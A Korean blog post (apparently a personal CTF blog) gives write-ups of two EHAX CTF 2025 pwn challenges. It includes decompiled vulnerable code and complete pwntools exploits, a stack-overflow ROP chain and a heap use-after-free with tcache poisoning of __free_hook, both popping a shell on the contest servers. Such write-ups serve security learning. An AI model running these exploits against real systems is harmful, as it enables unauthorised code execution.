Notice
Recent Posts
Recent Comments
Link
«   2026/03   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

Void

EHAX CTF 2025 본문

CTF

EHAX CTF 2025

pdw0412 2025. 2. 17. 01:41

 

새벽 1시에 시작한 대회여서 포너블만 올솔하고 자러갔다. 포너블 2문제 모두 2등으로 풀어서 퍼블을 놓쳤다.

 

 

Fantastic doom

$ checksec chall
[*] '/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  wctrans_t (**v3)(const char *); // rsi
  unsigned int v4; // eax
  char v6[140]; // [rsp+0h] [rbp-A0h] BYREF
  int v7; // [rsp+8Ch] [rbp-14h]
  unsigned __int64 j; // [rsp+90h] [rbp-10h]
  unsigned __int64 i; // [rsp+98h] [rbp-8h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v3 = 0LL;
  setvbuf(stderr, 0LL, 2, 0LL);
  v4 = time(0LL);
  srand(v4);
  puts("Hemlo Doombot69!");
  for ( i = 0LL; i <= 0x44; ++i )
  {
    v7 = rand() % 42 + 2;
    printf("0x44");
    for ( j = 0LL; j < v7; ++j )
      printf("4F");
    printf("4D");
    if ( i == 42 )
    {
      v3 = &wctrans;
      printf("%p", &wctrans);
    }
  }
  printf("\nEnter authcode: ");
  memset(v6, 0, 0x80uLL);
  gets(v6, v3, v6);
  puts("Failed Login");
  return 0;
}

 

libc 주소를 출력해준다. 카나리도 없으니 rop 로 해결할 수 있다.

 

 

from pwn import *

def log(n, a) : print('[*]', n, ':', hex(a))

p=remote('chall.ehax.tech', 4269)
l=ELF('./libc-2.27.so')

libc_base=int(p.recvuntil(b'5e0')[-14:].decode(), 16)-l.symbols['wctrans']

log('libc_base', libc_base)

ret=libc_base+0x00000000000008aa
pop_rdi=libc_base+0x000000000002164f
system=libc_base+l.symbols['system']
binsh=libc_base+next(l.search(b'/bin/sh'))

payload=b'a'*0xa0+p64(0)
payload+=p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
p.sendlineafter(b'Enter authcode: ', payload)

p.interactive()

 

 

 

EH4X{st4n_l33_c4m30_m1ss1ng_dOOoOoOoOoOOm}

 

 

 

Cash Memo

$ checksec chall
[*] '/chall'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

 

__int64 mallocc()
{
  int v0; // ebx
  unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
  int n; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  printf("which index?\n> ");
  __isoc99_scanf("%d", &v2);
  getchar();
  printf("how big?\n> ");
  __isoc99_scanf("%d", &n);
  getchar();
  if ( v2 > 0x63 )
  {
    puts("Invalid request");
    return 1LL;
  }
  else
  {
    v0 = v2;
    *((_QWORD *)&arr + v0) = malloc(n);
    arr_size[v2] = n;
    ++space;
    printf("first payload?\n> ");
    fgets(*((char **)&arr + (int)v2), n, stdin);
    return 0LL;
  }
}

 

__int64 freee()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("which index?\n> ");
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 > 0x63 )
  {
    puts("Invalid request");
    return 1LL;
  }
  else
  {
    free(*((void **)&arr + (int)v1));
    --space;
    return 0LL;
  }
}

 

__int64 edit()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("which index?\n> ");
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 > 0x63 )
  {
    puts("Invalid request");
    return 1LL;
  }
  else
  {
    printf("New contents?\n> ");
    fgets(*((char **)&arr + (int)v1), arr_size[v1] + 64, stdin);
    return 0LL;
  }
}

 

__int64 view()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("which index?\n> ");
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 > 0x63 )
  {
    puts("Invalid request");
    return 1LL;
  }
  else
  {
    puts(*((const char **)&arr + (int)v1));
    return 0LL;
  }
}

 

간단한 note challege 이다. free, edit, view 과정에서 free chunk 에 대한 처리가 없다. 그래서 unsorted bin 만들어서 libc leak 진행한 이후, tcache poisoning 으로 free hook을 system으로 덮고 '/bin/sh' 을 저장한 chunk를 free하면 해결할 수 있다.

 

 

from pwn import *

def log(n, a) : print('[*]', n, ':', hex(a))

def malloc(idx, size, data) :
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'> ', str(idx).encode())
    p.sendlineafter(b'> ', str(size).encode())
    p.sendlineafter(b'> ', data)

def free(idx) :
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'> ', str(idx).encode())

def edit(idx, data) :
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'> ', str(idx).encode())
    p.sendlineafter(b'> ', data)

def read(idx) :
    p.sendlineafter(b'> ', b'4')
    p.sendlineafter(b'> ', str(idx).encode())
    return p.recvline()[:-1]

#p=process('./chall')
p=remote('chall.ehax.tech', 1925)
l=ELF('./libc-2.31.so')

malloc(0, 0x10, b'a')
malloc(1, 0x500, b'b')
malloc(2, 0x10, b'c')

free(0)
free(1)
free(2)

heap_base=u64(read(2)+b'\x00'*2)-0x2a0
log('heap_base', heap_base)

libc_base=u64(read(1)+b'\x00'*2)-0x1ecbe0
log('libc_base', libc_base)

malloc(3, 0x80, b'a')
malloc(4, 0x80, b'b')
free(3)
free(4)

hook=libc_base+l.symbols['__free_hook']
system=libc_base+l.symbols['system']

edit(4, p64(hook))
malloc(5, 0x80, b'/bin/sh\x00')
malloc(6, 0x80, p64(system))

free(5)

p.interactive()

 

 

 

EH4X{fr33_h00k_c4n_b3_p01ns0n3d_1t_s33m5}

'CTF' 카테고리의 다른 글

WolvCTF 2025 - PWN  (0) 2025.03.24
PwnMe CTF 2025 - PWN  (0) 2025.03.09
CCE 2024 Quals | Pwn - Untrusted Compiler  (0) 2025.02.03
YISF 2024 Finals | Pwn - Happy SIGnal  (0) 2025.01.21
UofTCTF 2025 - Pwn (4/6)  (0) 2025.01.15